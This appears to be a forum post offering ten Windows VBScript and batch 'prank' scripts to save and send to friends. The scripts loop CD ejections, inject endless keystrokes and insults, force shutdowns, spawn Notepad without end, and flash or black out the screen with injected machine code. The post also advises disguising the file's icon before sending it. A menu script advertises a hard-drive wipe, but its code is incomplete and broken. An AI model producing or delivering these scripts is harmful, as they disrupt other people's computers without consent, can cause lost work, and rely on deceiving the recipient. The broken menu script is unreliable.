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All this comand use to type in notepad

1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!

Type :

 

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

 

Save it as "Anything.VBS" and send it.

 

2) Toggle your friend's Caps Lock button simultaneously:

Type :

 

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

 

Save it as "Anything.VBS" and send it.

 

3) Convey your friend a lil' message and shut down his / her computer:

Type :

 

@echo off

msg * I don't like you

shutdown -c "Error! You are too stupid!" -s

 

Save it as "Anything.BAT" in All Files and send it.

 

4) Frustrate your friend by making this VBScript hit Enter simultaneously:

Type :

 

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

 

Save it as "Anything.VBS" and send it.

 

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:

Type :

 

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "Hel"

WScript.Sleep 500

WshShell.SendKeys "lo "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "w a"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "you"

WScript.Sleep 500

WshShell.SendKeys "? "

WScript.Sleep 500

WshShell.SendKeys "I a"

WScript.Sleep 500

WshShell.SendKeys "m g"

WScript.Sleep 500

WshShell.SendKeys "ood"

WScript.Sleep 500

WshShell.SendKeys " th"

WScript.Sleep 500

WshShell.SendKeys "ank"

WScript.Sleep 500

WshShell.SendKeys "s! "

 

Save it as "Anything.VBS" and send it.

 

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:

Type :

 

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

 

Save it as "Anything.VBS" and send it.

 

7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:

Type :

 

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "You are a fool."

loop

 

Save it as "Anything.VBS" and send it.

 

8. Open Notepad continually in your friend's computer:

Type :

 

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

 

Save it as "Anything.BAT" and send it.

 

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

 

1: Shutdown

2: Restart

3: Wipes out your hard drive (BEWARE)

4: Net send

5: Messages then shutdown

Type :

 

@echo off

title The end of the world

cd C:\

:menu

cls

echo

I take no responsibility for your actions. Beyond this point it is you

that has the power to kill yourself. If you press 'x' then your PC will

be formatted. Do not come crying to me when you fried your computer or

if you lost your project etc...

pause

echo Pick your poison:

echo 1. Die this way (Wimp)

echo 2. Die this way (WIMP!)

echo 3. DO NOT DIE THIS WAY

echo 4. Die this way (you're boring)

echo 5. Easy way out

set input=nothing

set /p input=Choice:

if %input%==1 goto one

if %input%==2 goto two

 

Save it as "Anything.BAT" and send it.

 

You

might wanna have to change the Icon of the file before sending it to

your friend, so right click the file, click Properties, click on the

'Change' Icon and change the icon from there.

 

10) THRETEN BY MAKING SCREEN FLASH

 

To

make a really cool batch file that can make your entire screen flash

random colors until you hit a key to stop it, simply copy and paste the

following code into notepad and then save it as a .bat file.

 

@echo off

echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg

echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg

echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg

echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg

echo g=100>>\z.dbg

echo q>>\z.dbg

debug <\z.dbg>nul

del \z.dbg

But

if you really want to mess with a friend then copy and paste the

following code which will do the same thing except when they press a key

the screen will go black and the only way to stop the batch file is by

pressing CTRL-ALT-DELETE.

@echo off

:a

echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg

echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg

echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg

echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg

echo g=100>>\z.dbg

echo q>>\z.dbg

debug <\z.dbg>nul

del \z.dbg

goto a

 

To disable error (ctrl+shirt+esc) then end process wscript.exe

 

Credits: hackhosting.com

  • 3 months later...
Posted

Link or never happend.

Topic not found,it was sticky at off-topics.

 

Never happend.

 

Thanks again for your share :P

 

 

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